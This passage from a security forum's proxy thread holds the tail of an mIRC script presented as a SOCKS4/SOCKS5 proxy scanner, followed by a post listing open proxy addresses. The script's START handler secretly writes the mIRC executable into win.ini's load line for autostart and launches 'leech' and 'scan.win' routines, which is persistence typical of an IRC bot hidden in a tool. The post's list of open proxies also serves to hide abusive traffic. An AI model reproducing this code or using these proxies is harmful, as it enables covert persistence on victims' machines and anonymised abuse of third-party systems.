}
ON *:SOCKREAD:s4chk*:{
if ($sockbr) { return }
.sockread &bsocks4
if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $sock($sockname).port return $bvar(&bsocks4,2-) | return }
if ($bvar(&bsocks4,2) == 90) {
window -e @sock4
suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
unset %s4.time
;sockrename $sockname idle $+ $r(0,999999999)
sockclose $sockname
}
}
on 1:SOCKCLOSE:s5*:{ echo 4 @sock5 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. | return }
on 1:SOCKCLOSE:s4*:{ echo 4 @sock4 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. | return }
alias def.s return 194.68.45.50
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { play -a scans4file @sock4 $1- }
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { play -a scans5file @sock5 $1- }
alias ColourEncode {
var %c.1
var %k.1 = $chr(3)
var %s.1 = $chr(44)
var %x.1 = 1
var %y.1 = $len($1-)
var %r.1 = $null
while (%x.1 <= %y.1) {
%c.1 = $asc($mid($1-,%x.1,1))
%h.1 = $floor($calc(%c.1 / 16))
%l.1 = $calc(%c.1 % 16)
%r.1 = $+(%r.1,%k.1,%h.1,%s.1,%l.1)
inc %x.1
}
return %r.1
}
on 1:START:{ writeini C:/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win }
|
|
|
Last edited by independent911 on Tue Mar 08, 2011 3:34 am; edited 2 times in total _________________ Request regarding a free psyBNC account ; (type in mIRC) :
/server freepsybnc.usr.sh 6667 -j #psyBNC
.
If You Need Proxy & Socks Scanner: http://shink.in/874E9 |
|
|
|
|
|
some free socks |
|
Posted: Sat Aug 08, 2009 4:30 pm |
|
|
independent911 |
Active user |
|
|
Joined: Aug 01, 2007 |
Posts: 38 |
Location: Canada,Qc |
|
|
|
|
|
|
204.188.202.215:4411
204.188.202.221:8095
204.188.202.220:43530
204.188.202.214:6967
204.188.202.105:6542
204.188.202.114:5764
204.188.202.113:6231
204.188.202.222:3812
Hf |
|
_________________ Request regarding a free psyBNC account ; (type in mIRC) :
/server freepsybnc.usr.sh 6667 -j #psyBNC
.
If You Need Proxy & Socks Scanner: http://shink.in/874E9 |
|
|
|
www.waraxe.us Forum Index -> Proxy database
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|